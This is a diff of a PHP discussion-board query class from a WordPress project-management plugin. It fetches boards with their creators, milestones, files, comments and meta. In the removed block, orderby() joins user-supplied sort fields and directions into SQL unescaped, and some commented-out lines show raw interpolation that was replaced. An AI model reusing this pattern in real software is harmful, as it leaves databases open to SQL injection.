- - function __construct() { - $this->set_table_name(); - } - - public static function get_task_discussion_boards( WP_REST_Request $request ) { - $discussion_boards = self::get_results( $request->get_params() ); - - wp_send_json( $discussion_boards ); - } - - public static function get_results( $params = [] ) { - $self = self::getInstance(); - $self->query_params = $params; - - $self->join() - ->where() - ->limit() - ->orderby() - ->get() - ->with() - ->meta(); - - $response = $self->format_discussion_boards( $self->discussion_boards ); - - if ( pm_is_single_query( $params ) ) { - return ['data' => $response['data'][0]] ; - } - - return $response; - } - - /** - * Format TaskDiscussion_Board data - * - * @param array $discussion_boards - * - * @return array - */ - public function format_discussion_boards( $discussion_boards ) { - $response = [ - 'data' => [], - 'meta' => [] - ]; - - foreach ( $discussion_boards as $key => $discussion_board ) { - $discussion_boards[$key] = $this->fromat_discussion_board( $discussion_board ); - } - - $response['data'] = $discussion_boards; - $response['meta'] = $this->set_discussion_boards_meta(); - - return $response; - } - - /** - * Set meta data - */ - private function set_discussion_boards_meta() { - return [ - 'pagination' => [ - 'total' => $this->found_rows, - 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) - ] - ]; - } - - public function fromat_discussion_board( $discussion_board ) { - - $items = [ - 'id' => (int) $discussion_board->id, - 'title' => $discussion_board->title, - 'description' => pm_get_content( $discussion_board->description ), - 'project_id' => $discussion_board->project_id, - 'order' => $discussion_board->order, - 'created_at' => format_date( $discussion_board->created_at ), - 'updated_at' => format_date( $discussion_board->updated_at ), - 'meta' => $discussion_board->meta, - ]; - - $items = $this->item_with( $items, $discussion_board ); - - return apply_filters( 'pm_discuss_transform', $items, $discussion_board ); - } - - private function item_with( $items, $discussion_board ) { - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - $with = array_merge( $this->with, $with ); - - $discussion_board_with_items = array_intersect_key( (array) $discussion_board, array_flip( $with ) ); - - $items = array_merge( $items, $discussion_board_with_items ); - - return $items; - } - - - private function with() { - - $this->creator() - ->updater() - ->milestone() - ->files() - ->project() - ->comments(); - - $this->discussion_boards = apply_filters( 'pm_discussion_board_with',$this->discussion_boards, $this->discussion_board_ids, $this->query_params ); - - return $this; - } - - private function creator() { - if ( empty( $this->discussion_boards ) ) { - return $this; - } - - $creator_ids = wp_list_pluck( $this->discussion_boards, 'created_by' ); - $creator_ids = array_unique( $creator_ids ); - - $creators = pm_get_users( [ 'id' => $creator_ids ] ); - $creators = $creators['data']; - - $items = []; - - foreach ( $creators as $key => $creator ) { - $items[$creator['id']] = $creator; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $c_creator = empty( $items[$discussion_board->created_by] ) ? [] : $items[$discussion_board->created_by]; - - $discussion_board->creator = [ 'data' => $c_creator ]; - } - - return $this; - } - - private function updater() { - - if ( empty( $this->discussion_boards ) ) { - return $this; - } - - $updater_ids = wp_list_pluck( $this->discussion_boards, 'updated_by' ); - $updater_ids = array_unique( $updater_ids ); - - $updaters = pm_get_users( [ 'id' => $updater_ids ] ); - $updaters = $updaters['data']; - - $items = []; - - foreach ( $updaters as $key => $updater ) { - $items[$updater['id']] = $updater; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $c_updater = empty( $items[$discussion_board->updated_by] ) ? [] : $items[$discussion_board->updated_by]; - - $discussion_board->updater = [ 'data' => $c_updater ]; - } - - return $this; - } - - - private function milestone() { - global $wpdb; - - if ( empty( $this->discussion_board_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'milestone', $with ) || empty( $this->discussion_board_ids ) ) { - return $this; - } - - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $discuss_format = pm_get_prepare_format( $this->discussion_board_ids ); - $query_data = $this->discussion_board_ids; - - $query = "SELECT DISTINCT bor.boardable_id as discussion_board_id, - bor.board_id as milestone_id - FROM $tb_boardable as bor - where bor.boardable_id IN ($discuss_format) - AND bor.board_type=%s - AND bor.boardable_type=%s"; - - array_push( $query_data, 'milestone', 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $milestone_ids = wp_list_pluck( $results, 'milestone_id' ); - - $milestones = Milestone::get_results([ - 'id' => array_unique( $milestone_ids ) - ]); - - $milestones = $milestones['data']; - $key_milestones = []; - $items = []; - - foreach ( $milestones as $key => $milestone ) { - if ( empty( $milestone['id'] ) ) { - continue; - } - - $key_milestones[$milestone['id']] = $milestone; - } - - foreach ( $results as $key => $result ) { - $items[$result->discussion_board_id] = $key_milestones[$result->milestone_id]; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $discussion_board->milestone['data'] = empty( $items[$discussion_board->id] ) ? [] : $items[$discussion_board->id]; - } - - return $this; - } - - private function project() { - - if ( empty( $this->discussion_board_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'project', $with ) || empty( $this->discussion_board_ids ) ) { - return $this; - } - - $project_ids = wp_list_pluck( $this->discussion_boards, 'project_id' ); - $project_ids = array_unique( $project_ids ); - - $projects = pm_get_projects( [ 'id' => $project_ids ] ); - $projects_map = []; - - foreach ( $projects['data'] as $key => $project ) { - $projects_map[$project['id']] = $project; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $discussion_board->project['data'] = empty( $projects_map[$discussion_board->project_id] ) ? [] : $projects_map[$discussion_board->project_id]; - } - - return $this; - } - - private function comments() { - global $wpdb; - - if ( empty( $this->discussion_board_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'comments', $with ) || empty( $this->discussion_board_ids ) ) { - return $this; - } - - $tb_comments = pm_tb_prefix() . 'pm_comments'; - $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); - $query_data = $this->discussion_board_ids; - - $query ="SELECT DISTINCT com.id as comment_id, com.commentable_id as discussion_board_id - FROM $tb_comments as com - WHERE com.commentable_id IN ($discussion_board_format) - AND com.commentable_type = %s - "; - - array_push( $query_data, 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $comment_ids = wp_list_pluck( $results, 'comment_id' ); - - $comments = Comment::get_results([ - 'id' => array_unique( $comment_ids ) - ]); - - $comments = $comments['data']; - $key_comments = []; - $items = []; - - foreach ( $comments as $key => $comment ) { - if ( empty( $comment['id'] ) ) { - continue; - } - - $key_comments[$comment['id']] = $comment; - } - - foreach ( $results as $key => $result ) { - $items[$result->discussion_board_id][] = $key_comments[$result->comment_id]; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $discussion_board->comments['data'] = empty( $items[$discussion_board->id] ) ? [] : $items[$discussion_board->id]; - } - - return $this; - } - - private function files() { - global $wpdb; - - if ( empty( $this->discussion_board_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'files', $with ) || empty( $this->discussion_board_ids ) ) { - return $this; - } - - $tb_files = pm_tb_prefix() . 'pm_files'; - $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); - $query_data = $this->discussion_board_ids; - - $query = "SELECT DISTINCT fil.id as file_id, - fil.fileable_id as discussion_board_id - FROM $tb_files as fil - where fil.fileable_id IN ($discussion_board_format) - AND fil.fileable_type=%s"; - - array_push( $query_data, 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $file_ids = wp_list_pluck( $results, 'file_id' ); - - $files = File::get_results([ - 'id' => $file_ids - ]); - - $files = $files['data']; - $key_files = []; - $items = []; - - foreach ( $files as $key => $file ) { - if ( empty( $file['id'] ) ) { - continue; - } - - $key_files[$file['id']] = $file; - } - - foreach ( $results as $key => $result ) { - $items[$result->discussion_board_id][] = $key_files[$result->file_id]; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $discussion_board->files['data'] = empty( $items[$discussion_board->id] ) ? [] : $items[$discussion_board->id]; - } - - return $this; - } - - private function meta() { - $this->get_pm_meta_table_value() - ->total_comments() - ->total_files(); - - return $this; - } - - private function total_comments() { - global $wpdb; - - if ( empty( $this->discussion_board_ids ) ) { - return 0; - } - - $tb_comments = pm_tb_prefix() . 'pm_comments'; - $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); - $query_data = $this->discussion_board_ids; - - $query ="SELECT DISTINCT count(com.id) as total_comments, com.commentable_id as discussion_board_id - FROM $tb_comments as com - WHERE com.commentable_id IN ($discussion_board_format) - AND com.commentable_type = %s - group by com.commentable_id - "; - - array_push( $query_data, 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $discussion_board_id = $result->discussion_board_id; - unset($result->discussion_board_id); - $metas[$discussion_board_id] = $result->total_comments; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $discussion_board->meta['total_comments'] = empty( $metas[$discussion_board->id] ) ? 0 : $metas[$discussion_board->id]; - } - return $this; - } - - private function total_files() { - global $wpdb; - - if ( empty( $this->discussion_board_ids ) ) { - return 0; - } - - $tb_files = pm_tb_prefix() . 'pm_files'; - $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); - $query_data = $this->discussion_board_ids; - - $query = "SELECT DISTINCT count(fil.id) as total_files, - fil.fileable_id as discussion_board_id - FROM $tb_files as fil - where fil.fileable_id IN ($discussion_board_format) - AND fil.fileable_type=%s - group by fil.fileable_id"; - - array_push( $query_data, 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $discussion_board_id = $result->discussion_board_id; - unset($result->discussion_board_id); - $metas[$discussion_board_id] = $result->total_files; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $discussion_board->meta['total_files'] = empty( $metas[$discussion_board->id] ) ? 0 : $metas[$discussion_board->id]; - } - return $this; - } - - private function get_pm_meta_table_value() { - if ( empty( $this->discussion_board_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); - $query_data = $this->discussion_board_ids; - - $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.entity_id - FROM $tb_meta - WHERE $tb_meta.entity_id IN ($discussion_board_format) - AND $tb_meta.entity_type = %s "; - - array_push( $query_data, 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $discussion_board_id = $result->entity_id; - unset( $result->entity_id ); - $metas[$discussion_board_id][] = $result; - } - - foreach ( $this->discussion_boards as $key => $discussion_board ) { - $filter_metas = empty( $metas[$discussion_board->id] ) ? [] : $metas[$discussion_board->id]; - - foreach ( $filter_metas as $key => $filter_meta ) { - $discussion_board->meta[$filter_meta->meta_key] = $filter_meta->meta_value; - } - } - - return $this; - } - - private function join() { - return $this; - } - - private function where() { - - $this->where_id() - ->where_project_id() - ->where_title(); - - return $this; - } - - /** - * Filter discussion_board by ID - * - * @return class object - */ - private function where_id() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - if ( is_array( $id ) ) { - //$query_id = implode( ',', $id ); - $query_format = pm_get_prepare_format( $id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.id IN ($query_format)", $id ); - // $this->where .= " AND {$this->tb_discussion_board}.id IN ($query_id)"; - } - - if ( !is_array( $id ) ) { - // $this->where .= " AND {$this->tb_discussion_board}.id IN ($id)"; - $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.id IN (%d)", $id ); - - $explode = explode( ',', $id ); - - if ( count( $explode ) == 1 ) { - $this->is_single_query = true; - } - } - - return $this; - } - - /** - * Filter task by title - * - * @return class object - */ - private function where_title() { - global $wpdb; - $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; - - if ( empty( $title ) ) { - return $this; - } - - // $this->where .= " AND {$this->tb_discussion_board}.title LIKE '%$title%'"; - $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.title LIKE %s", '%'.$title.'%' ); - - return $this; - } - - private function where_project_id() { - global $wpdb; - $id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - if ( is_array( $id ) ) { - //$query_id = implode( ',', $id ); - //$this->where .= " AND {$this->tb_discussion_board}.project_id IN ($query_id)"; - $query_format = pm_get_prepare_format( $id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.project_id IN ($query_format)", $id ); - } - - if ( !is_array( $id ) ) { - // $this->where .= " AND {$this->tb_discussion_board}.project_id = $id"; - $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.project_id IN (%d)", $id ); - } - - return $this; - } - - private function limit() { - global $wpdb; - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - private function orderby() { - global $wpdb; - - $tb_pj = $wpdb->prefix . 'pm_boards'; - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false && !is_array( $odr_prms ) ) { - return $this; - } - - $orders = []; - - $odr_prms = str_replace( ' ', '', $odr_prms ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $orderStr ) { - $orderStr = str_replace( ' ', '', $orderStr ); - $orderStr = explode( ':', $orderStr ); - $orderby = $orderStr[0]; - $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; - $orders[$orderby] = $order; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $tb_pj .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY " . implode( ', ', $order); - - return $this; - } - - private function get_offset() { - $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; - - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - private function get_per_page() { - - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return intval( $per_page ); - } - - return 20; - } - - private function get() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_discussion_board}.* - FROM {$this->tb_discussion_board} - {$this->join} - WHERE %d=%d {$this->where} AND $this->tb_discussion_board.type=%s - {$this->orderby} {$this->limit} "; - - $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1, 'discussion_board' ) ); - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - $this->discussion_boards = $results; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->discussion_board_ids = wp_list_pluck( $results, 'id' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->discussion_board_ids = [$results->id]; - } - - return $this; - } - - private function set_table_name() { - $this->tb_project = pm_tb_prefix() . 'pm_projects'; - $this->tb_discussion_board = pm_tb_prefix() . 'pm_boards'; - } -} +'asc', 'id'=>desc] +// discussion_board_meta: 'total_task_discussion_boards,total_tasks,total_complete_tasks,total_incomplete_tasks,total_discussion_boards,total_discussion_boards,total_comments,total_files,total_activities' +// }, + +class Discussion_Board { + private static $_instance; + private $query_params; + private $select; + private $join; + private $where; + private $limit; + private $orderby; + private $with = ['creator', 'updater']; + private $discussion_boards; + private $discussion_board_ids; + private $is_single_query = false; + + public static function getInstance() { + return new self(); + } + + function __construct() { + $this->set_table_name(); + } + + public static function get_task_discussion_boards( WP_REST_Request $request ) { + $discussion_boards = self::get_results( $request->get_params() ); + + wp_send_json( $discussion_boards ); + } + + public static function get_results( $params = [] ) { + $self = self::getInstance(); + $self->query_params = $params; + + $self->join() + ->where() + ->limit() + ->orderby() + ->get() + ->with() + ->meta(); + + $response = $self->format_discussion_boards( $self->discussion_boards ); + + if ( pm_is_single_query( $params ) ) { + return ['data' => $response['data'][0]] ; + } + + return $response; + } + + /** + * Format TaskDiscussion_Board data + * + * @param array $discussion_boards + * + * @return array + */ + public function format_discussion_boards( $discussion_boards ) { + $response = [ + 'data' => [], + 'meta' => [] + ]; + + foreach ( $discussion_boards as $key => $discussion_board ) { + $discussion_boards[$key] = $this->fromat_discussion_board( $discussion_board ); + } + + $response['data'] = $discussion_boards; + $response['meta'] = $this->set_discussion_boards_meta(); + + return $response; + } + + /** + * Set meta data + */ + private function set_discussion_boards_meta() { + return [ + 'pagination' => [ + 'total' => $this->found_rows, + 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) + ] + ]; + } + + public function fromat_discussion_board( $discussion_board ) { + + $items = [ + 'id' => (int) $discussion_board->id, + 'title' => $discussion_board->title, + 'description' => pm_get_content( $discussion_board->description ), + 'project_id' => $discussion_board->project_id, + 'order' => $discussion_board->order, + 'created_at' => format_date( $discussion_board->created_at ), + 'updated_at' => format_date( $discussion_board->updated_at ), + 'meta' => $discussion_board->meta, + ]; + + $items = $this->item_with( $items, $discussion_board ); + + return apply_filters( 'pm_discuss_transform', $items, $discussion_board ); + } + + private function item_with( $items, $discussion_board ) { + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + $with = array_merge( $this->with, $with ); + + $discussion_board_with_items = array_intersect_key( (array) $discussion_board, array_flip( $with ) ); + + $items = array_merge( $items, $discussion_board_with_items ); + + return $items; + } + + + private function with() { + + $this->creator() + ->updater() + ->milestone() + ->files() + ->project() + ->comments(); + + $this->discussion_boards = apply_filters( 'pm_discussion_board_with',$this->discussion_boards, $this->discussion_board_ids, $this->query_params ); + + return $this; + } + + private function creator() { + if ( empty( $this->discussion_boards ) ) { + return $this; + } + + $creator_ids = wp_list_pluck( $this->discussion_boards, 'created_by' ); + $creator_ids = array_unique( $creator_ids ); + + $creators = pm_get_users( [ 'id' => $creator_ids ] ); + $creators = $creators['data']; + + $items = []; + + foreach ( $creators as $key => $creator ) { + $items[$creator['id']] = $creator; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $c_creator = empty( $items[$discussion_board->created_by] ) ? [] : $items[$discussion_board->created_by]; + + $discussion_board->creator = [ 'data' => $c_creator ]; + } + + return $this; + } + + private function updater() { + + if ( empty( $this->discussion_boards ) ) { + return $this; + } + + $updater_ids = wp_list_pluck( $this->discussion_boards, 'updated_by' ); + $updater_ids = array_unique( $updater_ids ); + + $updaters = pm_get_users( [ 'id' => $updater_ids ] ); + $updaters = $updaters['data']; + + $items = []; + + foreach ( $updaters as $key => $updater ) { + $items[$updater['id']] = $updater; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $c_updater = empty( $items[$discussion_board->updated_by] ) ? [] : $items[$discussion_board->updated_by]; + + $discussion_board->updater = [ 'data' => $c_updater ]; + } + + return $this; + } + + + private function milestone() { + global $wpdb; + + if ( empty( $this->discussion_board_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'milestone', $with ) || empty( $this->discussion_board_ids ) ) { + return $this; + } + + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $discuss_format = pm_get_prepare_format( $this->discussion_board_ids ); + $query_data = $this->discussion_board_ids; + + $query = "SELECT DISTINCT bor.boardable_id as discussion_board_id, + bor.board_id as milestone_id + FROM $tb_boardable as bor + where bor.boardable_id IN ($discuss_format) + AND bor.board_type=%s + AND bor.boardable_type=%s"; + + array_push( $query_data, 'milestone', 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $milestone_ids = wp_list_pluck( $results, 'milestone_id' ); + + $milestones = Milestone::get_results([ + 'id' => array_unique( $milestone_ids ) + ]); + + $milestones = $milestones['data']; + $key_milestones = []; + $items = []; + + foreach ( $milestones as $key => $milestone ) { + if ( empty( $milestone['id'] ) ) { + continue; + } + + $key_milestones[$milestone['id']] = $milestone; + } + + foreach ( $results as $key => $result ) { + $items[$result->discussion_board_id] = $key_milestones[$result->milestone_id]; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $discussion_board->milestone['data'] = empty( $items[$discussion_board->id] ) ? [] : $items[$discussion_board->id]; + } + + return $this; + } + + private function project() { + + if ( empty( $this->discussion_board_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'project', $with ) || empty( $this->discussion_board_ids ) ) { + return $this; + } + + $project_ids = wp_list_pluck( $this->discussion_boards, 'project_id' ); + $project_ids = array_unique( $project_ids ); + + $projects = pm_get_projects( [ 'id' => $project_ids ] ); + $projects_map = []; + + foreach ( $projects['data'] as $key => $project ) { + $projects_map[$project['id']] = $project; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $discussion_board->project['data'] = empty( $projects_map[$discussion_board->project_id] ) ? [] : $projects_map[$discussion_board->project_id]; + } + + return $this; + } + + private function comments() { + global $wpdb; + + if ( empty( $this->discussion_board_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'comments', $with ) || empty( $this->discussion_board_ids ) ) { + return $this; + } + + $tb_comments = pm_tb_prefix() . 'pm_comments'; + $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); + $query_data = $this->discussion_board_ids; + + $query ="SELECT DISTINCT com.id as comment_id, com.commentable_id as discussion_board_id + FROM $tb_comments as com + WHERE com.commentable_id IN ($discussion_board_format) + AND com.commentable_type = %s + "; + + array_push( $query_data, 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $comment_ids = wp_list_pluck( $results, 'comment_id' ); + + $comments = Comment::get_results([ + 'id' => array_unique( $comment_ids ) + ]); + + $comments = $comments['data']; + $key_comments = []; + $items = []; + + foreach ( $comments as $key => $comment ) { + if ( empty( $comment['id'] ) ) { + continue; + } + + $key_comments[$comment['id']] = $comment; + } + + foreach ( $results as $key => $result ) { + $items[$result->discussion_board_id][] = $key_comments[$result->comment_id]; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $discussion_board->comments['data'] = empty( $items[$discussion_board->id] ) ? [] : $items[$discussion_board->id]; + } + + return $this; + } + + private function files() { + global $wpdb; + + if ( empty( $this->discussion_board_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'files', $with ) || empty( $this->discussion_board_ids ) ) { + return $this; + } + + $tb_files = pm_tb_prefix() . 'pm_files'; + $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); + $query_data = $this->discussion_board_ids; + + $query = "SELECT DISTINCT fil.id as file_id, + fil.fileable_id as discussion_board_id + FROM $tb_files as fil + where fil.fileable_id IN ($discussion_board_format) + AND fil.fileable_type=%s"; + + array_push( $query_data, 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $file_ids = wp_list_pluck( $results, 'file_id' ); + + $files = File::get_results([ + 'id' => $file_ids + ]); + + $files = $files['data']; + $key_files = []; + $items = []; + + foreach ( $files as $key => $file ) { + if ( empty( $file['id'] ) ) { + continue; + } + + $key_files[$file['id']] = $file; + } + + foreach ( $results as $key => $result ) { + $items[$result->discussion_board_id][] = $key_files[$result->file_id]; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $discussion_board->files['data'] = empty( $items[$discussion_board->id] ) ? [] : $items[$discussion_board->id]; + } + + return $this; + } + + private function meta() { + $this->get_pm_meta_table_value() + ->total_comments() + ->total_files(); + + return $this; + } + + private function total_comments() { + global $wpdb; + + if ( empty( $this->discussion_board_ids ) ) { + return 0; + } + + $tb_comments = pm_tb_prefix() . 'pm_comments'; + $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); + $query_data = $this->discussion_board_ids; + + $query ="SELECT DISTINCT count(com.id) as total_comments, com.commentable_id as discussion_board_id + FROM $tb_comments as com + WHERE com.commentable_id IN ($discussion_board_format) + AND com.commentable_type = %s + group by com.commentable_id + "; + + array_push( $query_data, 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $discussion_board_id = $result->discussion_board_id; + unset($result->discussion_board_id); + $metas[$discussion_board_id] = $result->total_comments; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $discussion_board->meta['total_comments'] = empty( $metas[$discussion_board->id] ) ? 0 : $metas[$discussion_board->id]; + } + return $this; + } + + private function total_files() { + global $wpdb; + + if ( empty( $this->discussion_board_ids ) ) { + return 0; + } + + $tb_files = pm_tb_prefix() . 'pm_files'; + $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); + $query_data = $this->discussion_board_ids; + + $query = "SELECT DISTINCT count(fil.id) as total_files, + fil.fileable_id as discussion_board_id + FROM $tb_files as fil + where fil.fileable_id IN ($discussion_board_format) + AND fil.fileable_type=%s + group by fil.fileable_id"; + + array_push( $query_data, 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $discussion_board_id = $result->discussion_board_id; + unset($result->discussion_board_id); + $metas[$discussion_board_id] = $result->total_files; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $discussion_board->meta['total_files'] = empty( $metas[$discussion_board->id] ) ? 0 : $metas[$discussion_board->id]; + } + return $this; + } + + private function get_pm_meta_table_value() { + if ( empty( $this->discussion_board_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $discussion_board_format = pm_get_prepare_format( $this->discussion_board_ids ); + $query_data = $this->discussion_board_ids; + + $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.entity_id + FROM $tb_meta + WHERE $tb_meta.entity_id IN ($discussion_board_format) + AND $tb_meta.entity_type = %s "; + + array_push( $query_data, 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $discussion_board_id = $result->entity_id; + unset( $result->entity_id ); + $metas[$discussion_board_id][] = $result; + } + + foreach ( $this->discussion_boards as $key => $discussion_board ) { + $filter_metas = empty( $metas[$discussion_board->id] ) ? [] : $metas[$discussion_board->id]; + + foreach ( $filter_metas as $key => $filter_meta ) { + $discussion_board->meta[$filter_meta->meta_key] = $filter_meta->meta_value; + } + } + + return $this; + } + + private function join() { + return $this; + } + + private function where() { + + $this->where_id() + ->where_project_id() + ->where_title(); + + return $this; + } + + /** + * Filter discussion_board by ID + * + * @return class object + */ + private function where_id() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + if ( is_array( $id ) ) { + //$query_id = implode( ',', $id ); + $query_format = pm_get_prepare_format( $id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.id IN ($query_format)", $id ); + // $this->where .= " AND {$this->tb_discussion_board}.id IN ($query_id)"; + } + + if ( !is_array( $id ) ) { + // $this->where .= " AND {$this->tb_discussion_board}.id IN ($id)"; + $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.id IN (%d)", $id ); + + $explode = explode( ',', $id ); + + if ( count( $explode ) == 1 ) { + $this->is_single_query = true; + } + } + + return $this; + } + + /** + * Filter task by title + * + * @return class object + */ + private function where_title() { + global $wpdb; + $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; + + if ( empty( $title ) ) { + return $this; + } + + // $this->where .= " AND {$this->tb_discussion_board}.title LIKE '%$title%'"; + $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.title LIKE %s", '%'.$title.'%' ); + + return $this; + } + + private function where_project_id() { + global $wpdb; + $id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + if ( is_array( $id ) ) { + //$query_id = implode( ',', $id ); + //$this->where .= " AND {$this->tb_discussion_board}.project_id IN ($query_id)"; + $query_format = pm_get_prepare_format( $id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.project_id IN ($query_format)", $id ); + } + + if ( !is_array( $id ) ) { + // $this->where .= " AND {$this->tb_discussion_board}.project_id = $id"; + $this->where .= $wpdb->prepare( " AND {$this->tb_discussion_board}.project_id IN (%d)", $id ); + } + + return $this; + } + + private function limit() { + global $wpdb; + 